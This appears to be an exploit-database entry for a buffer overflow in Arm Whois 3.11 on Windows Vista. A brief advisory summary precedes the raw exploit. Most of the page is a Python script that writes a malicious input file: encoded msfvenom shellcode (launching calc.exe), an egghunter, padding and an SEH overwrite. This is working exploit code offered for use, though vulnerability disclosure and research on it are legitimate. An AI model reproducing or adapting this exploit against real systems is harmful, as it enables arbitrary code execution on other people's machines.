Arm Whois 3.11 - Buffer Overflow (ASLR)

vendor:

Arm Whois

by:

zephyr

9.3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Arm Whois

Affected Version From: 3.11

Affected Version To: 3.11

Patch Exists: YES

Related CWE: N/A

CPE: a:armcode:arm_whois:3.11

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2018

Arm Whois 3.11 – Buffer Overflow (ASLR)

Arm Whois 3.11 is vulnerable to a buffer overflow vulnerability due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted payload to the vulnerable application, which can lead to arbitrary code execution. This vulnerability affects Windows Vista Ultimate SP1 x86 unpatched.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Arm Whois 3.11 - Buffer Overflow (ASLR)
# Google Dork: [if applicable]
# Date: 23/11/2018
# Exploit Author: zephyr
# Vendor Homepage: http://www.armcode.com
# Software Link: http://www.armcode.com/downloads/arm-whois.exe
# Version: 3.11
# Tested on: Windows Vista Ultimate SP1 x86 unpatched
# CVE : 

# nSEH @ 672 on Windows Vista Ultimate SP1 unpatched
# msfvenom -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -a x86 --platform windows
nops = "\x90"*20
buf = "w00tw00t" + nops + ("\xba\x0e\xc3\xc8\xe6\xdd\xc4\xd9\x74\x24\xf4\x5e\x29"
"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\x01\x21"
"\x3d\x1a\xf5\x27\xbe\xe3\x05\x48\x36\x06\x34\x48\x2c"
"\x42\x66\x78\x26\x06\x8a\xf3\x6a\xb3\x19\x71\xa3\xb4"
"\xaa\x3c\x95\xfb\x2b\x6c\xe5\x9a\xaf\x6f\x3a\x7d\x8e"
"\xbf\x4f\x7c\xd7\xa2\xa2\x2c\x80\xa9\x11\xc1\xa5\xe4"
"\xa9\x6a\xf5\xe9\xa9\x8f\x4d\x0b\x9b\x01\xc6\x52\x3b"
"\xa3\x0b\xef\x72\xbb\x48\xca\xcd\x30\xba\xa0\xcf\x90"
"\xf3\x49\x63\xdd\x3c\xb8\x7d\x19\xfa\x23\x08\x53\xf9"
"\xde\x0b\xa0\x80\x04\x99\x33\x22\xce\x39\x98\xd3\x03"
"\xdf\x6b\xdf\xe8\xab\x34\xc3\xef\x78\x4f\xff\x64\x7f"
"\x80\x76\x3e\xa4\x04\xd3\xe4\xc5\x1d\xb9\x4b\xf9\x7e"
"\x62\x33\x5f\xf4\x8e\x20\xd2\x57\xc4\xb7\x60\xe2\xaa"
"\xb8\x7a\xed\x9a\xd0\x4b\x66\x75\xa6\x53\xad\x32\x02"
"\x6e\xac\x19\x3b\xd7\xa4\x1c\x26\xe8\x12\x62\x5f\x6b"
"\x97\x1a\xa4\x73\xd2\x1f\xe0\x33\x0e\x6d\x79\xd6\x30"
"\xc2\x7a\xf3\x52\x85\xe8\x9f\xba\x20\x89\x3a\xc3")

egghunter = nops + ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") + "\x90"*15
junk = "A"*(672-len(buf+egghunter))
nseh = "\xeb\xc7\x90\x90"
seh = "\x57\x22\x41"

payload = junk + buf + egghunter + nseh + seh

f = open("tmp.txt", 'wb')
f.write(payload)
f.close()
print len(payload)